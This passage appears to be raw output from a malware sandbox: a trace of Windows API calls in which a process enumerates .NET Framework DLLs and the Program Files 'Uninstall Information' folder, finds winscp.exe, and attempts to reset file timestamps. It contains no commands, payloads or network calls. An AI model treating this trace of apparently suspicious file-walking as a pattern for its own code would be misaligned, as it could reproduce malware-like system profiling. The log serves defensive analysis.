BaseAddress=0x123b968) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace922ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xace922ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacfe8f51, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3b5e7a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac3b5e7a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac4c081c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae5092b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfae12e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfae12e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfd428e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac558d9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac558d9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac6898a0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a1495c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0a1495c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0a60c1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6898a0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac6898a0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaca8ddc7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6e6ffe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6e6ffe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad7332be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5092b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5092b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae555578, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb093011a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb093011a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb095627b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfe8f51, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacfe8f51, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad0cd792, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96ee048, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x78000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe34b90, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xabe34b90, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabf193d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1ecdf7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac1ecdf7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac3b5e7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc30cea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacc30cea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacd3b68c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5edaf9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5edaf9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae71e5fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaeb525, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadaeb525, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadb11685, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab7cf064, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab7cf064, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabd0408e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0080.149] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae97fc00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae97fc00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0080.150] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a316a7b, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x6a316a7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x6a33cbd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0080.150] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97141a8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0080.150] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0080.150] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0080.150] GetLastError () returned 0x12 [0080.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.150] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0080.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0080.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.150] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0080.150] GetLastError () returned 0x12 [0080.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce08) returned 1 [0080.150] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.151] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 0 [0080.151] GetLastError () returned 0x12 [0080.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.151] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.151] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0080.151] GetLastError () returned 0x12 [0080.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.152] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.152] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa0012d70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0012d70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0080.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa0012d70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0012d70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.152] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.153] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.153] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.153] NtClose (Handle=0x178) returned 0x0 [0080.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.154] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.154] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa0012d70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0012d70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.154] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd02ebe0, ftCreationTime.dwHighDateTime=0x1d5ae5f, ftLastAccessTime.dwLowDateTime=0xb19a0460, ftLastAccessTime.dwHighDateTime=0x1d5734b, ftLastWriteTime.dwLowDateTime=0xb19a0460, ftLastWriteTime.dwHighDateTime=0x1d5734b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0080.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.155] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd02ebe0, ftCreationTime.dwHighDateTime=0x1d5ae5f, ftLastAccessTime.dwLowDateTime=0xb19a0460, ftLastAccessTime.dwHighDateTime=0x1d5734b, ftLastWriteTime.dwLowDateTime=0xb19a0460, ftLastWriteTime.dwHighDateTime=0x1d5734b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 0 [0080.155] GetLastError () returned 0x12 [0080.155] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0080.155] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.155] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa0012d70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0012d70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.155] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd02ebe0, ftCreationTime.dwHighDateTime=0x1d5ae5f, ftLastAccessTime.dwLowDateTime=0xb19a0460, ftLastAccessTime.dwHighDateTime=0x1d5734b, ftLastWriteTime.dwLowDateTime=0xb19a0460, ftLastWriteTime.dwHighDateTime=0x1d5734b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0080.155] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd02ebe0, ftCreationTime.dwHighDateTime=0x1d5ae5f, ftLastAccessTime.dwLowDateTime=0xb19a0460, ftLastAccessTime.dwHighDateTime=0x1d5734b, ftLastWriteTime.dwLowDateTime=0xb19a0460, ftLastWriteTime.dwHighDateTime=0x1d5734b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 0 [0080.155] GetLastError () returned 0x12 [0080.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.155] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.156] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9d33b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, 